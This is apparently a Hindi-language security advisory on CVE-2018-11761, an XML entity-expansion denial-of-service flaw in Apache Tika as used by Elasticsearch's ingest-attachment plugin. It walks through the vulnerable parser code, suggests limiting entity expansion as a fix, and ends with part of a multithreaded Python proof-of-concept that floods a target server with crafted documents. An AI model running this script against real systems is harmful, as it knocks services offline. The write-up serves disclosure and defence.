
Apache Tika सेवा अस्वीकार भेद्यता (CVE-2018-11761)
Apache Tika पर हालिया शोध में, मुझे इसके XML पार्सर में एक DOS (Denial of Service) कमजोरी मिली। यह इस कारण होता है कि पार्सर XML दस्तावेज़ को अनुचित तरीके से पार्स करता है।
जैसा कि हम जानते हैं, कोर इनजेस्ट अटैचमेंट प्लगइन Elasticsearch को Apache text extraction लाइब्रेरी Tika का उपयोग करके सामान्य प्रारूपों (जैसे PPT, XLS, और PDF) में फ़ाइल अटैचमेंट निकालने देता है। तो, आइए इनजेस्ट अटैचमेंट प्लगइन के सोर्स कोड पर एक नज़र डालें।```Java /** subset of parsers for types we support */ private static final Parser PARSERS[] = new Parser[] { // documents new org.apache.tika.parser.html.HtmlParser(), new org.apache.tika.parser.rtf.RTFParser(), new org.apache.tika.parser.pdf.PDFParser(), new org.apache.tika.parser.txt.TXTParser(), new org.apache.tika.parser.microsoft.OfficeParser(), new org.apache.tika.parser.microsoft.OldExcelParser(), ParserDecorator.withoutTypes(new org.apache.tika.parser.microsoft.ooxml.OOXMLParser(), EXCLUDES), new org.apache.tika.parser.odf.OpenDocumentParser(), new org.apache.tika.parser.iwork.IWorkPackageParser(), new org.apache.tika.parser.xml.DcXMLParser(), new org.apache.tika.parser.epub.EpubParser(), };
वास्तव में, प्लगइन एक XML फ़ाइल से सामग्री निकालने के लिए पार्सर के रूप में [`org.apache.tika.parser.xml.DcXMLParser()`](https://github.com/apache/tika/blob/e6e3b8817053e981f3843f1d3b7055b4ae30ed73/tika-parsers/src/main/java/org/apache/tika/parser/xml/DcXMLParser.java) का उपयोग करता है। आगे की जाँच करने पर, हम निम्नलिखित इनवोकेशन देख सकते हैं:
* `DcXMLParser()` [`XMLParser`](https://github.com/apache/tika/blob/e24e6afb1c2a37be266839767115ad6adc5f8dcf/tika-parsers/src/main/java/org/apache/tika/parser/xml/XMLParser.java) को एक्सटेंड करता है
* `XMLParser` XML दस्तावेज़ों को पार्स करने के लिए [`XMLReaderUtils.parseSAX`](https://github.com/apache/tika/blob/e24e6afb1c2a37be266839767115ad6adc5f8dcf/tika-parsers/src/main/java/org/apache/tika/parser/xml/XMLParser.java#L75) का उपयोग करता है
* `XMLReaderUtils.parseSAX` [`setPoolSize`](https://github.com/apache/tika/blob/e24e6afb1c2a37be266839767115ad6adc5f8dcf/tika-core/src/main/java/org/apache/tika/utils/XMLReaderUtils.java#L470) -> [`getSAXParser`](https://github.com/apache/tika/blob/e24e6afb1c2a37be266839767115ad6adc5f8dcf/tika-core/src/main/java/org/apache/tika/utils/XMLReaderUtils.java#L139) -> [`getSAXParserFactory`](https://github.com/apache/tika/blob/e24e6afb1c2a37be266839767115ad6adc5f8dcf/tika-core/src/main/java/org/apache/tika/utils/XMLReaderUtils.java#L163) को इनवोक करता है```java
public static SAXParserFactory getSAXParserFactory() {
SAXParserFactory factory = SAXParserFactory.newInstance();
factory.setNamespaceAware(true);
factory.setValidating(false);
try {
factory.setFeature(
XMLConstants.FEATURE_SECURE_PROCESSING, true);
} catch (ParserConfigurationException e) {
} catch (SAXNotSupportedException e) {
} catch (SAXNotRecognizedException e) {
// TIKA-271: Some XML parsers do not support the
// secure-processing feature, even though it's required by
// JAXP in Java 5. Ignoring the exception is fine here, as
// deployments without this feature are inherently vulnerable
// to XML denial-of-service attacks.
}
return factory;
}
उपरोक्त फ़ंक्शन में, हम SAXParserFactory.newInstance() ऑब्जेक्ट के लिए बहुत सीमित सुरक्षा प्रतिबंध देख सकते हैं:```Java
factory.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true);
Oracle के स्पष्टीकरण के अनुसार, जब [`XMLConstants.FEATURE_SECURE_PROCESSING`](https://docs.oracle.com/javase/8/docs/api/javax/xml/XMLConstants.html) सक्षम होता है, तो यह कार्यान्वयन को XML को सुरक्षित रूप से प्रोसेस करने का निर्देश देता है। यह XML संरचनाओं पर सीमाएँ निर्धारित कर सकता है ताकि denial of service हमलों जैसी स्थितियों से बचा जा सके।
लेकिन, वास्तव में यह [XML Entity Expansion](http://www.ws-attacks.org/XML_Entity_Expansion) को पूरी तरह से रोकने में असमर्थ है। एक हमलावर अभी भी `Proof of Concept` अनुभाग में बताए अनुसार XML Entity Expansion भेद्यता के माध्यम से ES सर्वर पर DoS हमला करने के लिए क्राफ्टेड XML दस्तावेज़ भेज सकता है। मैंने Apache Tika सोर्स कोड की जाँच की कि वे केवल `XMLConstants.FEATURE_SECURE_PROCESSING` फीचर सक्षम करते हैं, जिसके बारे में वे सोच सकते हैं कि यह [इस लेख](http://blog.bdoughan.com/2011/03/preventing-entity-expansion-attacks-in.html) के अनुसार इस प्रकार के हमले से सुरक्षा कर सकता है, क्योंकि यह डिफ़ॉल्ट रूप से entity expansions की संख्या को 64,000 तक सीमित करता है। लेकिन वास्तव में, हम इन 64,000 entity expansions का लाभ उठाकर मेमोरी में एक amplification XML ऑब्जेक्ट उत्पन्न कर सकते हैं, उदाहरण के लिए, POC में `ES_XML.xml` का फ़ाइल आकार केवल लगभग 64KB है, लेकिन इसे ES सर्वर पर बैकएंड Tika सर्वर पर अपलोड करते ही, Tika को इसे पार्स करने के लिए कम से कम 6MB मेमोरी आवंटित करनी होगी (6MB / 64KB = 100 गुना), जिससे CPU उपयोग तेज़ी से बढ़ जाता है।
इसलिए, मेरी समझ से, एक संभावित समाधान यह हो सकता है कि निम्नलिखित system property सेट करने से प्रभाव बहुत हद तक सीमित हो जाएगा, जैसा कि [Oracle दस्तावेज़](https://docs.oracle.com/javase/tutorial/jaxp/limits/limits.html) में बताया गया है:```
jdk.xml.entityExpansionLimit=1
निम्नलिखित प्रदर्शन ElasticSearch 6.3.31 पर परीक्षण और सत्यापित किया गया है, जो Tika 1.18 का उपयोग कर रहा है:
poc_dos_es.py के रूप में सहेजें:```Pythonimport requests import sys import base64 import json import threading import sys
headers = {"Content-Type" : "application/json"}
class ExploitThread(threading.Thread): def init(self, es_ip, es_port, mal_xml_file, thread_index): threading.Thread.init(self) self.es_ip = es_ip self.es_port = es_port self.mal_xml_file = mal_xml_file self.thread_index = thread_index self.num = 1
def create_ingest_att_pipeline(self, url):
pipeline_url = "{}/_ingest/pipeline/attachment".format(url)
data = {
"description" : "Extract attachment information",
"processors" : [{
"attachment" : {
"field" : "data",
"indexed_chars": "-1"
}
}]
}
res = requests.put(pipeline_url, headers=headers, data=json.dumps(data))
if res.status_code == 200:
print("[+] [Thread {}] [No. {}] pipeline created successfully, res: {}".format(self.thread_index, self.num, res.text))
else:
print("[!] [Thread {}] [No. {}] failed to create pipeline, res: {}".format(self.thread_index, self.num, res.text))
def send_payload(self, url, payload):
ingest_url = "{}/my_index/_doc/1?pipeline=attachment".format(url)
data = {
"data": payload
}
res = requests.put(ingest_url, headers=headers, data=json.dumps(data))
print("[+] [Thread {}] [No. {}] response from es clusters: {}".format(self.thread_index, self.num, res.text))
def verify_mal_doc(self, url):
ingest_url = "{}/my_index/_doc/1".format(url)
res = requests.get(ingest_url, headers=headers)
if res.status_code == 200:
print("[+] [Thread {}] [No. {}] res: {}".format(self.thread_index, self.num, res.text))
else:
print("[!] [Thread {}] [No. {}] failed to verify res: {}".format(self.thread_index, self.num, res.text))